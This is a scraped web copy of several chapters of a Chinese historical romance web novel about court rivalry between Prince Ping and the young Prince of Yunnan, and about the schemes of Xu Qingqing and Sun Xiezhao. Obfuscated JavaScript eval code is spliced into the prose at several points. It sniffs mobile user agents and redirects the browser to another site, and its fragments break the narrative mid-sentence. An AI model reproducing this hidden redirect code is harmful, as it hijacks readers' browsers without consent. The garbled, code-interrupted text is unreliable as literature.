“杜大人,没想到今日会在第一楼遇见。” 她上前搭话,艳丽的面容中含着几分羞怯,倒是别有一番韵味。 气氛不言而言,顾皎皎将人送上马车便识趣地转身离开。 杜玉荣眼眸微臣,嘴角仍是挂着谦和笑意:“确实意外,只是杜某当前有要事在身,便不能与赵姑娘叙旧了。” 话音刚落,他便躬身进了马车毫不留恋。 赵蕴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017315|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苎面上笑意还未来得及收起,马车便已扬长而去不见踪影。 人来人往的长街独留衣着华美的首辅孙女站在石阶上,日头正辣,不过片刻嫩白的额头便微微泛红,起了汗珠。 思荣抽出丝帕擦拭,却被赵蕴苎生硬躲开。 “小姐,酷暑炎热,您这般站着莫要沾染暑气啊!” 思荣面露难色,只得撑开丝帕为她遮阳。 杜玉荣决绝离开的背影在赵蕴苎脑海中挥之不去,交叠在小腹的玉指不禁捏成拳头。 “你这消息是如何打探的?不是只有两人共享午膳吗?怎地小云南王也在此处?” 赵蕴苎冷静些许,厉声质问。她并非怒气冲天的责备,只是心中尚有不甘。 若非是沈云祉在此,今日本不该是这般局面。兴许就能与杜玉荣好好说上几句话了。 思荣一边招呼马夫摆好马杌,一边低眉顺目地解释:“姑娘,奴婢也不知道这其中是出了什么差错。 昨日接到消息的时候便是唯有两人……” 赵蕴苎吐出一口浊气,到底是坐上马车。 思荣伺候自己时间不短,这些年来也是忠心耿耿,自然不需要在这些小事上诓骗。 “罢了,今日便作罢。日后还有旁的机会。先回府。” 赵蕴苎沉声开口,靠着马车闭目养神。 方才受了热,身上起了密密麻麻的汗珠,贴着里衣并不舒坦。 事在人为,她相信以自己的姿色和神色终有一日能叫杜玉荣拜倒在她的石榴裙下。感情一事向来是急不得的。 赵蕴苎一松口,思荣的面色也缓和许多,攥着团扇在一旁轻轻扇风祛暑。 第一楼。 顾皎皎望着半凉的菜色不禁轻叹一声,无奈摆手:“叫人将这些收拾了吧。” 莺儿看着心疼,思忖片刻:“姑娘,就这样丢了岂不是可惜。这些菜肴几乎未动,何不送给周边的乞儿?干干净净也不算施舍。” “是个巧思。你且去办吧。” 顾皎皎点了点头,心中却盘算着该如此与杜玉荣拉进距离。 第一百零一章 不会善罢甘休 皇宫。 沈云祉匆忙离席,便是因着皇上旧疾复发,急召他进宫。 这些年皇帝的身子确实大不如前,发病的次数也跟着频繁许多,也难怪平王越发躁动不安,目无尊长。 太监总管将沈云祉引进养心殿内室。榻边的香炉里燃着安神香,皇上靠在塌边,宫女正跪着喂药。 走进内室,才瞧见平王已坐在一旁,丝毫不掩傲慢之意。 沈云祉扫他一眼,上前给皇上请安:“微臣参见皇上,皇上万岁万岁万万岁。” 皇上抬起沉重的眼皮,示意宫女退下,哑声开口:“起来吧,赐座。朕这副样子,还谈什么万岁。” 虽是自嘲之语,从皇上口中说出倒多了几分坦然,叫人辨不出忧愁。 太监搬来软凳,沈云祉坐下便是与平王四目相对。 “这般晦气的话皇上日后不要说了。宫内的太医医术高超,自然能将您的身体调养妥当。” 皇上的身子是何模样,在座之人皆心知肚明,但有些话还是要按着规矩来。 平王却在一旁冷哼,颇有不屑之意:“小云南王怕是只剩下这张伶牙俐齿的嘴巴了。驿站离着皇宫不远,你却足足花了一个时辰才来拜见,莫不是心中对皇上不敬?” 沈云祉轻笑出声,笑意不达眼底:“平王真是说笑了。本王的封地虽在云南,但身处京城有些政事也是松懈不得的,都是要本王亲自打理。” “自然比不得平王您自由闲散,只听得圣旨就能赶来面圣。说来也是本王的疏忽了。” 言外之意,便是平王无所事事,是个闲人。言辞婉转,可其中的讽刺之意却不减分毫。 平王听得面色阴沉,怒火中烧:“皇上尚且康健,云南也有云南王坐镇,又需你大点什么?莫不是在这京中纸醉金迷,尽做些上不得台面的事情。” “寻欢作乐不也是男子常情吗?此事平王殿下该比本王更加清楚才是。”沈云祉面色如常,嘴角笑意加深,“这京中本王尚未熟悉,平王若是明了也可指点本王一二。” 沈云祉如此坦然自若,平王气得脸青一块白一块,一时间顿了话语,一口闷气堵在心间。 他自然知晓沈云祉暗指徐青青一事,若是再度争论将那日丑事抖落出来在皇上面前也要蒙羞。 “你们两人每每见面便是急言令色,又何苦争这口舌之快呢?” 皇上在宫女的搀扶下支起身子,倦怠的眸子扫过两人一红一白的面容,禁不住轻咳起来。 “微臣失了分寸,扰了皇上休憩了。” 沈云祉率先开口,泰然自若好似方才唇枪舌战的并非是他一般。 平王不甘示弱,开口便是指责:“皇上,方才您可都听见了。小云南王目无尊长,公然顶撞于我。小云南王既然学不会谦卑姿态,怕是也难当大任。此事若就此作罢,怕是会为日后埋下祸端。” 皇上有意传位云南王一直是他心口郁结,今日好不容易抓到把柄自然不会善罢甘休。 沈云祉面色不改,挑眉看他,明亮的眸子里竟有几分挑衅之意。 这漫不经心的模样平王见了更是怒意难抑,费了一番心力才叫没再皇上面前化作。 “云祉年纪尚轻,自有时间历练。往事如何岂可只靠一件小事定夺?” “原本今日叫你两人前来,便是前朝声量。如此看来,外头的流言倒不是空穴来风的。” 皇上沉声开口,却是有意偏袒沈云祉。 此话一出,平王自得吃下这个闷亏,再是不好发作。 提及前朝流言蜚语,便会涉及到传位一事。他若在此时得理不饶人,不显气度,怕是要叫皇上一锤定音,当真是认准了这个黄毛小子。 “微臣不论如何也是小云南王的长辈,提点几句自然不为过。况且他日后也是要接受云南王的基业,掌管一方水土,如此气量怕是不妥,是以本王才焦急多言几句,也是盼着小儿长进罢了。” 平王软了态度,却是先发制人暗示沈云祉日后只是个云南王,三言两句就将他摘了个干净。 许是觉得这番话说得滴水不漏,平王眼底多了几分得意之色。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017316|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “难为平王如此操心了。分明膝下尚无一子,却能有如此慈父心智。” 沈云祉微微颔首,咧嘴一笑看似无邪。 “朕还在此处,最后传位一事也未有定夺,平王何苦如此咄咄逼人?” “云祉资质天下皆知,往后稍加提点便足以独当一面。平王不必担忧。” 皇上忽地又咳嗽起来,太监总管见状连忙唤来一直候着的太医,面带歉疚的朝着两人行礼。 “平王殿下,小云南王,皇上这身子时好时坏,太医问诊许是得两位大人避开片刻。” 沈云祉起身离开,平王却步伐犹豫。他心中十分在意皇上到底还能撑到几时。 传位诏书一日不尘埃落定,他便一日不能心安。分明他正统血脉,如今竟落得与藩国小王争夺九五之位,实在面上无光。 “平王且放心吧,该是如何便是如何,岂是焦急就可收入囊中的。” 出了大殿,沈云祉仍是不忘冷嘲热讽。 “那是自然。你又何苦 得意?” 平王拂袖挥开身侧沾染了沈云祉气味的空气,面上不掩嫌恶之意。 “此话可不敢乱说,本王可一直学着平王您的谦卑姿态,断然不敢肖想九天之上的物件的。” 沈云祉两指碾开折扇,有意挡住自己嘴角的讥讽。 平王正要发作,就见养心殿的朱门推开,太监总管躬身走来,向着两人行礼。 “平王殿下,小云南王,皇上服了太医开的新药方,如今已经睡下了,怕是无暇在顾及两位大人了。” “还请两位先请回府休息,待皇上身子好转,再来与大人们继续商讨要事。” 瞧着总管眼底的慌色,想来皇上的病情又加重了几分。 沈云祉凝了神色:“叫皇上好生修养便是,有事传召本王即可。” 太监总监又躬身行礼,目送两人离开方才回了养心殿。 “看来平王今夜又不能安眠了。” 沈云祉侧眸低语,面上笑意盈盈。 第一百零二章 不再来往 这话如同一根刺扎进平王心口,直到回了王府都未能得以排解。 书房内。 平王恼羞成怒,将案上书卷和笔墨纸砚砸了个遍,未干的墨迹撒在皱褶的宣纸上描绘出杂乱的图案。 墨迹氤氲开的痕迹好似平王此刻心境,只瞧了一眼便忍不住一脚踢散。 屋内喧闹不止,丫鬟们均是不敢上前伺候。 李嬷嬷端着参茶赶来,透过窗棂瞧见了平王恼怒的身影,不由得轻叹一声。 “王爷自回府便是如此模样吗?” 她就近拉过一个丫鬟,低声询问。 平王今日进宫面圣,虽是与皇上动怒,但面对病躯本不该如此动怒。只能说明今日一同面圣的还有旁人,便是这人叫王爷动气。 丫鬟颤颤巍巍,将所见所知全盘脱出:“王爷自下了马车便面色阴沉,回了书房便就如此,还下令不许叫王妃知晓。奴婢知晓轻重,却也不敢上前安抚。” 李嬷嬷了然于心,上前叩门,佯装不知情开口试探:“王爷,听闻您从宫中回府,奴婢特意备下了一盏参茶给您顺顺气。” 屋内动静停顿,片刻后传来平王压制怒意的嗓音:“进来吧。” 李嬷嬷福身上前,见地上一片狼藉心下恐慌,却也不敢浮于表面。 “王爷,这参茶正是八分烫,此刻服下正是滋味。” 她不敢多言,只将参茶呈了上去。 直到手中一轻,李嬷嬷才顺心些许,悬着的心也能放下半截。 “徐青青在何处?叫她来见本王。” 李嬷嬷颇为意外,心中不敢忤逆,却还是低声寻问:“王爷,按照您的吩咐,徐青青此刻正住在城中的别院,这些日子倒还算安分守己。” 她本是可惜这唯一的血脉,难不成王爷也想通了? “安分便好。你去备下马车,本王要去见他一面。切记,此事不可叫王妃知晓半分。” 平王心中有气,也不敢轻易惊动王妃。更何况是与徐青青有关。 李嬷嬷当即应下,福身去打点此事。 别院。 安生了些日子,京城中的污言秽语终于消散了片刻。见风头将过,徐青青又蠢蠢欲动起来。 按照眼下景象,想必用不着太久当日那些丑事就会叫人淡忘,那她兴许还有机会重回王府。 光是想着,徐青青便就一副小人得志的模样,仿佛已经跻身成了贵族。 “青儿,快些过来,有事吩咐你。” 徐青青按捺不住,提笔写下一封陈情书,准备派人送去平王府,想着再见平王一面。 “姑娘,李嬷嬷来了。” 青儿推门进来,福身禀告。 徐青青顿时欣喜若狂,顾不得手上笔墨,连忙抬头查看。只见院落中站在的可不就是父亲身边的李嬷嬷。 她连忙理了理衣衫发髻,迈着碎步迎了上去。 “李嬷嬷,可是父……王爷叫你来接我回府的?” 徐青青野心不掩,在见到李嬷嬷后更是心中笃定。看来父亲还是舍不得她流落在外,她命中注定是要成为尊贵的郡主的。 李嬷嬷却是沉着张脸,侧身让出一条小道:“姑娘请随我来。” 徐青青笑意凝固在嘴角,心中纵有担忧却还是硬着头皮跟上了李嬷嬷的步子。 回忆起在平王府受辱种种,她仍会脊背发凉,生怕这条路后也是万丈深渊。 可转念一想,李嬷嬷是近身伺候平王的,不会轻易侍奉旁的主子,自己又是父亲唯一的血脉……看来是父亲来看自己了! 徐青青在李嬷嬷的指引下上了马车,果然瞧见了阖眸养神的平王。 她心中激动,顾不得马车幽闭狭窄,匆匆福身行礼,惹得马车晃动,险些脚底打滑。 “女儿见过父亲!女子这些日子十分思念父亲,却又不能在身侧尽孝,实在羞愧难当。” 徐青青很是懂得利用她艳丽的容颜,不过只言片语便就红了眼眶,两行清泪摇摇欲坠,我见犹怜。 忍着泪意的腔调更是柔若无骨,如轻羽拂过平静湖面,激的人心泛起涟漪。 平王虽有不满,听得如此妙音也不禁多看了徐青青一眼,甚至未出言责怪她的失仪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017317|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “本王听闻你近来安分守己,心中宽慰,假以时日,京中流言想必便不复存在。” 平王垂眸看她,心中却想着王府清誉终能会还,也算是一桩美事。来日在皇上面前也不必觉得面上无光,叫有心之人抓住把柄。 这话在徐青青听来便是认回自己指日可待,想着就要成为郡主,眼眶中的泪珠竟生生收了回去。 “女儿也知晓自己做了错事,这些日子在这偏远小院尽心思索,已经想明白了。” “日后女儿一定会谨遵父亲教诲,不会再叫有心之人钻了空子,让王府蒙羞!” 徐青青迫不及待表明衷心,只带着今日就能重回王府。 平王将她扶了起来,眼底的寒意终于收起半分。 “既如此,日后你便不要再与孙协兆来往了。过往种种都与他逃脱不开,是以不便来往。” “况且安阳侯府因着他和离一事亦是深陷风波,更是大伤元气 ,至今侯府还未修葺完成。” “孰轻孰重,你心底应当有定夺。” 平王沉声开口,脑中确实想着沈云祉那轻浮模样,只得强压着怒火。 京中无人不知小云南王与安阳侯的孙协兆走得近,若是徐青青再与他往来,指不定又要传出去什么不该传的。 他今日因为闺中事由被沈云祉参了一本,心中怨气实在是难以下咽。 既然眼下还不能除了沈云祉,他便只能从徐青青入手。斩断了孙协兆这条暗线,看他还能如何窥伺他的短板。 “父亲……” 徐青青一时语塞,不知该说些什么。若是日后成了名正言顺的郡主,踹了孙协兆自然不在话下。 可如今听着平王话里的意思,只有叫她斩断联系却不能提起认她回府,这叫她如何能干脆答应? 倘若不能顺利回到平王府,安阳侯府也能她衣食无忧,自然是不能如此轻易放开。 “父亲说得是,女儿都听父亲的!”徐青青出声稳住平王,不忘往前凑了几分,撒娇道,“父亲,瞧您嘴角都起皮了,女儿当真想着有一日能够在您膝下尽孝。” 第一百零三章 闭门羹 平王虽明白徐青青的心思,却始终不肯正面回应,只拍了拍她的手背,低声叮嘱:“你且在此处安生住着,其他的以后再说,总有机会。” 徐青青期望落空,还想为自己证明一番,却不会平王已挥手叫她离开。 “时候不早了,我还要回王府,你下去吧。” 丢下这句,平王再度合上眸子,眉间的忧思却散去不少。 在他看来,斩断了徐青青与孙协兆的来往,他便能独善其身。 徐青青沉默片刻,并无动作。 沉寂了好些个时日才终有机会见到父亲,她可不能任凭希望从指尖流走。 “父亲,女儿出府反思的这些日子,不仅三省自身,更是留意着京中风声,已是悄然许多,不会再给您造成困扰了。” 徐青青往前凑了几分,小心提醒着平王风声已过,可以将自己接回王府了。 这处别院虽称得上雅致,但与王府相比实在入不得眼。由奢入俭难,她已将平王府当做了府邸,再是瞧不上旁的,只觉得破败非常。 “本王知晓,你先在此处磨炼一番,时机一到便能水到渠成。先回去吧。” 平王随意敷衍几句便催促徐青青离开。 “是,女儿记下了。”徐青青心有不甘,低头佯装擦泪,“只是近来时常梦见母亲,她也很记挂父亲,便是责怪女儿未能尽足孝道。” 纠缠至此,平王心底已有几分不耐烦,努力压抑着没有发作。他的眸子冷淡下来,多了些威胁的意味。 “本王心里有数,你先回去休息。” 平王语调僵硬,逐客之意鲜明。 徐青青收起娇态,不敢再继续不依不饶,生怕惹了父亲不悦,郡主梦就此破碎。 “那女儿先退下了,父亲保重身子。” 徐青青依依不舍下了马车,一把抓住李嬷嬷的衣袖将她拉到一旁,眼里是藏不住的希冀。 “嬷嬷,不知父亲可提起过何时将我接回王府。” “姑娘,您仔细听着王爷的话便是。外面日头大,您早些回去吧。” 李嬷嬷挪开眸子,言辞闪烁。她自然不敢随意揣度平王的心思,但今日亲自来见,难免是有了新的定夺。王妃多年无所出,眼见着平王府只有这唯一血脉流落在外,她怎能不心中焦急。 连着吃了几番闭门羹,徐青青慌不择路却也不得不低头求和:“李嬷嬷,我是真的知错了,日后也定不会冲动行事,还望你在父亲面前多多说些我的好话。” “父亲膝下只有我这一个女儿,我亦是想早些在他身边扇枕温衾。” 她原本是瞧不上这些奴婢的,可现在能说上话的也就这些下人了。等她认回宗室成了郡主,一定要好好去去身上的晦气。 “姑娘请回吧。” 李嬷嬷面上尴尬不愿久留,一个应承的反应都不敢给,生怕为日后买下祸端,只低声敷衍几句便快步跟着马车离开。 徐青青看着原地,眼底的怨恨浮现出来。嫣红的指甲扎进肉里觉得疼痛又只能作罢。 “都来敷衍我,等我顺利回了王府成了郡主,倒要给你们些厉害瞧瞧!” 徐青青死死盯着马车离开的方向,将今日之辱重重踩在脚下方才解气,扭动着纤细的腰肢回了别院。 在她看来,今日平王前来便是松了口的迹象,又管束起她的接人待物,许是在为回府打点铺路,成为郡主指日可待。 一想到前路光明,徐青青便忍不住得意起来,指挥别院的丫鬟又恢复了趾高气扬。 徐青青将陈情书揉搓成团随意仍在地上,眼底未有半分留恋。这般自降身价的事只盼着是最后一遭,再也不必这般低眉顺目才好。 “青儿,过来给我研磨。”徐青青提起毫笔,防备的瞥了青儿一眼,没好气地命令,“差不多了,你去外面候着,这里不用你伺候。” 院子里的丫鬟都是王府拨过来的,难免没有混进来眼线。父亲方才叮嘱与孙协兆莫要再有干系,若是自己写信之事被有心之人传回王府 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门楣合上的沉闷声落进徐青青的耳中,她转动眼珠确定大门紧闭,这才甩袖起身。 “还愿此次事态莫要叫我失望,这破败院子我当真是住腻了!分明是父亲唯一的血脉,本该是尊贵的郡主,却要在此处藏着见不得人,我当真是受够了!” 徐青青嫌恶地环视屋内陈设,越是看着越是觉得心底堵着一口怨气。 安阳侯府。 顾皎皎离开后,侯府便一直是那破败的样子。院内土地坑坑洼洼,屋檐瓦片碎裂悬挂,十分萧瑟,像极了废弃的旧址。 孙府上下哀声连天,可主位几人却一毛不拔,只拿了银子置办了自己的院子,旁得便视若无睹。 府内下人叫苦不迭,又因着月例拖欠,想走却又担忧不能要回银钱。 此事在京城也不失为一桩饭后谈资。 第一百零四章 有缘无分 孙协兆这几日宁愿住在客栈也实在不愿回那荒凉之地。一则是被搬空的院子实在没法住人,二则是一回去孙老夫人便要哭诉自己银钱无几,章氏刘氏也道郎中羞涩,竟然妄想将修葺府邸的担子放在他的肩上。 难不成,他在别处变出银子? “顾皎皎!你可真是心狠手辣,不讲情分!你今日将事做绝,可就莫怪日后他不讲往日情分!” 孙协兆重重摔下酒盏,溅出的酒水浸湿了桌上锦布。 “只是这些日子小云南王总是不得空见我,难道是在怪我家事处理的不够利索?” 凉透的酒水晕染到桌角,冰冷之意钻进搭在桌边的手心,这才叫孙协兆清醒几分。 自从和离之后,沈云祉对待自己的态度便冷淡了许多,时常相邀都不曾答应。 这本不是大事,可又听闻他这些日子随杜玉荣出现在了第一楼,这才叫他心中难安。 他费了那样多的功夫才搭上小云南王这条线,可万万不能叫顾皎皎那个贱人搅乱。 正想得入神,叩门声兀的响起。这个窗棂小二的声音传了进来:“孙三少爷,有一位女子求见,他道是您的故人。” 孙协兆不禁蹙眉,眼底几分烦躁。他可没有什么女子故识,难道顾皎皎那个毒妇还敢找过来? “让她进来。” 孙协兆咬牙切齿,抡起拳头推到门后、若是当真是那个不识抬举的东西,今日便叫她有来无回。 青儿进门只见零落的酒盏却不见孙协兆身影,疑惑片刻转身要走。 一转身便是瞧见男人一身酒气躲在幔帐之后,一双眸子虎视眈眈像要将她生吞活剥了般。 青儿本就胆小,如何受得了如此诡异一幕,尖叫一声跌坐在地。 尖锐的声响穿透耳膜,孙协兆歪头向前死死捂住她的唇舌,生怕惊扰了客栈住客。 孙协兆半眯着眸子仔细辨认:“你……是青青身边的丫头?可是青青要你来与我传话?” 脑中闪过一抹粉红身影,孙协兆顿时清醒过来,松开了沾了酒气的大掌。 青儿眼眶含泪,连连点头,将袖口的信件双手奉上,哽咽道:“这是姑娘亲手写下的书信,叫奴婢一定要交到您的手上。” 孙协兆迫不及待地夺过信件,争分夺秒一目十行地瞧着。 青儿话语未停,继续说着徐青青的吩咐:“姑娘还说,她亦是感念往日与公子您的情分,只是您们两人情深缘浅,有缘无分,日后不便再来往了。” 孙协兆将信看着大概,面色越来越冷,拿信的力道越来越重,直到指尖将其穿破才肯罢休。 青儿见状,不敢久留,连忙起身匆匆离开,生怕男人下一瞬就会掐住她的颈脖。 这一路光是寻到他便就花费了些功夫,辗转几遭才寻到这个客栈。这足以是个苦差事,可不能叫性命也留在此处。 屋内的孙协兆知晓平王亲口说出不让徐青青与他往来,怒火中烧无处宣泄,只得将桌上物件一并挥洒在地,惹得一室喧嚣。 孙协兆仰天大喊,肆意宣泄着上天不公:“怎地都来欺辱我!我又做错了什么!” 冷静下来,他又不甘心地将信件看了一遍。虽然平王的话语做不得假,但徐青青的态度尚有回旋。 虽然丫鬟传来的话语绝情无比,但这心里确有几分柔情,甚至不曾隐瞒她如今的处境与情谊。 “不行,我得去见一见青青!”孙协兆终于反应过来,将撕破的信件塞进衣襟,抹了抹身上的酒气就寻去了徐青青的院子。 徐青青刚刚被送出平王府时,他曾来探望,对这处别院还算熟悉。如今平王下了命令,自然不能招摇过市。 孙协兆以折扇颜面,一路上眼观鼻鼻观口口观心,小心避闪着旁人的眼光,绕到后门轻轻叩门。 开门的是青儿,四目相对的瞬间丫头胆战心惊,回想起客栈一幕,只觉得心有余悸。 她福身行礼,低声开口:“还请孙三公子稍候片刻,奴婢去禀告姑娘。” “你且告诉青青,今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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来的路上他并未瞧见旁的伺候的人,定然是徐青青有意打点。既然她还肯为两人相见费心思,就一定还有回旋的余地。 第一百零五章 下一步 徐青青侧过身去,有意避开他的视线。 她掩面轻泣,楚楚可怜:“孙郎,你莫要再上前了。我本以为那封信说得足够清楚明白了,却不想你却还是寻来了此处。” 徐青青一边说着,一边借丝帕的遮掩瞄着窗棂外的动静。流言盛行的那些日子,她草木皆兵,倒习惯了做事留个心眼。 她不曾全然信任青儿,便担心院子里留了眼线,不过见连廊瞧不出人影,放心大半。 “青青,你怎可如此狠心啊?我们往日的情分难道都不算数了吗?” 孙协兆心如刀绞,难以接受徐青青与自己一刀两断。 安阳侯府式微已久,离开了顾皎皎的影子支撑,再不寻个有权势的靠山,怕是要销声匿迹了。 “自然是算数的。”徐青青轻拭泪珠,步步生莲来到孙协兆的面前,湿漉漉地眸子黏在他的面上,叫人忍不住浮想联翩,“孙郎,往日那些情爱时光,青青都记着。可如今父亲下令,我不得不从。” 孙协兆顺势将人揽入怀中,肯定道:“青青,你且放心。王爷一定是听信了外头的传言,才失信于我。” “此事我自会着手去办,定叫王爷看到我的诚意与才能,让他应允我们两人之情!” 孙协兆眸色阴沉,脑中满是顾皎皎那张清冷面容。他如今笃定是她从中作梗,借着和离一事在外头抹黑于他,这才叫平王心生厌恶。 她既不仁,便不能道他无义了。顾皎皎,咱们走着瞧! 徐青青眼眸一亮,正中下怀。她本就存着让孙协兆一鸣惊人,再助力自己回王府的心思。 如今他自己发愤图强,倒是能省去不少麻烦事。 “有孙郎这话,青青便安心多了。如此,我便在此等着你的好消息了。不过在此之前,还是要避避风头,你我少见面得好。” 徐青青语调柔软娇俏,只听一句便觉得浑身酥麻,不忍拒绝,孙协兆自然也说不出反对的话语。 他情不自禁地将温热的大掌探进少女衣衫,眼底情欲不掩:“青青,你怎么还住在别院,何时才能回平王府啊?可有消息了?” 徐青青被他抚摸的一池湿润,却在听到试探后心虚不已,不敢看他的眸子。 “你还不长记性吗?上一次便是你打乱了咱们的计划,让我成为了全京城的笑柄,这叫我如何敢过多透露?” 徐青青佯装发怒,将男人一把推开,裹着衣衫站到别处不肯理会。 “好青青,是我失言了,你莫要生气。关心则乱,我只是不忍心见你在这小院子里受苦。” 孙协兆如狗皮膏药般凑了过去,双臂将佳人紧紧桎梏在怀,下巴抵在香肩,贪婪地吮吸着衣衫上的香气。 “我只能告诉你,今日父王来此处瞧我了,还说了好些体己的话。但碍于京中流言尚有余波,不能轻举妄动,也是为了护住我的清誉和平王府的名声。” “我并非贪慕荣华富贵之人,只盼着有一日能在父亲面前尽孝罢了。如今事态需要我做出牺牲受苦,便不能叫父亲为难。” 半真半假的话语最是叫人难以分辨,加上徐青青梨花带雨,更是叫人不忍心质疑。 孙协兆心疼不已,将柔弱少女揽进怀中,小心安抚:“青青受委屈了。既然此刻你我均是不得意之际,不若相互慰藉。” 他的语调越发暧昧,不等徐青青反应便将人打横抱起,走向床榻。 徐青青心领神会,小鸟依人的窝在他的怀中,言语嗔怪地捶打他的胸口:“你脑子里就这档子事了,动作轻点。” 第一楼。 经过几日忙碌,顾皎皎又雇了几个伙计,这才得空打点霓裳阁的事由。 霓裳阁的生意与客人便单纯许多,由着先付定金的规矩也不曾遇上刁蛮难缠的客人,只是只做女子的生意难免狭隘。 顾皎皎在楼上雅间观察,阁中来往女子不少,也有光鲜亮丽的女子在此驻足,但她还是觉得不够。 “莺儿,你可觉得霓裳阁的衣裳样式不够多样,不够新奇?”顾皎皎凝眉沉思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017320|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 莺儿是个直肠子,开口前并未过度思考:“姑娘,您可不是说笑。咱们霓裳阁出品的衣衫可是京城最时兴的!” 顾皎皎低声呢喃:“总觉得还差了些什么。” 莺儿未能听清,却瞧见沈云祉带着随从走了进来。她大惊,连忙推了推顾皎皎的肩膀:“姑娘,小云南王来了。” “莫慌,静观其变。” 顾皎皎侧眸望去,果然瞧见那超脱凡尘的欣长身姿。那张光彩夺目的俊俏面容,实在是叫人无法忽视。 可顾皎皎却对他的容颜无感,只盼着能早些划清界限,各走阳关大道。 楼下,掌柜上前亲自招待:“参加王爷。王爷是来定制衣衫的吗?只是咱们这霓裳阁常年研究女子的衣衫样式,怕是男子成衣交王爷挑拣了。” 沈云祉并不在意,透亮的眸子望着头顶紧闭的窗棂:“不碍事,会有的。” 隔着乳白的窗棂纸,两人目光交汇,顾皎皎轻叹一声,起身下楼。 这摆明了是冲着自己来的,再躲避便太刻意了。她虽然不愿与他有过多牵扯,却也犯不着得罪权贵。 “民女参加王爷。方才在阁楼对账簿,竟不知王爷到来,还望王爷莫要怪罪。” 沈云祉目光深邃眼角含笑:“这有何怪罪?顾姑娘开门做生意,本王不过是个普通买客,不必这般拘谨。” 顾皎皎扯了扯嘴角,没再多言,只将人引进了二楼雅间。 两人相对落座,莺儿上前斟茶。 “霓裳阁的茶比不上王爷府上的名贵,望王爷莫要嫌弃。” 沈云祉捏起杯盏,放在鼻尖嗅了嗅,抿了小口:“西湖第一批雨前龙井,若这茶也要嫌弃,本王岂不是奢靡无度了?” “王爷不嫌弃就好。”顾皎皎嘴角挂着挑不出错的微笑,态度公事公办,“一如掌柜所言,这霓裳阁男子的衣衫配饰不多,若王爷有心采买,怕是要等些时日了。” “看来顾姑娘已经察觉到了,那下一步预备如何呢?” 第一百零六章 为了你 沈云祉这话没由来,顾皎皎怔愣住没开口。 从第一楼到霓裳阁,不知这小云南王是对她的产业感兴趣,还是什么其他,只觉得这些日子见面的次数未免多了些。 沈云祉到底是和孙协兆关系密切,他既能善心大发给自己行过方便,也能突发奇想帮衬客卿,不得不谨慎些。 看出顾皎皎眼底多了几丝戒备,沈云祉这才收了笑意,明白她大抵是回错了意,便直接开口点明:“顾姑娘不必担忧,本王不过是欣赏你的经商才能,想着若是姑娘有意革新霓裳阁,或许本王能在其中添砖加瓦。” 话已明了,沈云祉是看重了霓裳阁的前景,想要出银子分一杯羹。 顾皎皎疑惑与意外多过惊喜。 虽然小云南王必定出手阔绰,但银子于她而言并不稀缺,有或没有,无伤大雅。 她最担忧地便是沈云祉行事看不出章法,叫人琢磨不透意欲何为。 屋内一片寂静,暖风穿过大开的窗棂肆无忌惮地追来圆桌,撩起桌面锦布的流苏,翻过温热茶水的叶梗。 沈云祉不急不恼,又端起茶盏轻抿一口。五分温的茶水虽有苦味,但茶香还未散去,算不得上品却还能入口。 顾皎皎依旧谨慎不肯退让:“民女先在此谢过小王爷的抬爱,只是才好与不好之前,民女有一事斗胆想请小王爷给个答案。” 若单是做生意,那此事未尝不可。 兴许还存着被皇上注意到的可能性,毕竟这小可是小云南王看中的铺子。 可问题也在此处,她前俩日才拒绝了沈云祉的有意相助,他今日就寻了个还算合理的由头抛来橄榄枝。 究竟是真的看中她的经商才能,还是想借此机会钻空子叫她重创? 沈云祉明白她的疑虑,点头应允:“本王喜欢和聪明人打交道,顾姑娘既然想问,直言不讳便可。” “王爷既已提了经商之道,我便不再堂而皇之称自己是平庸之才,我手底下这些铺子确实都打点的有模有样,未叫父亲丢脸。可你是王爷,并非寻常富贵公子,名下资产更是不计其数。” 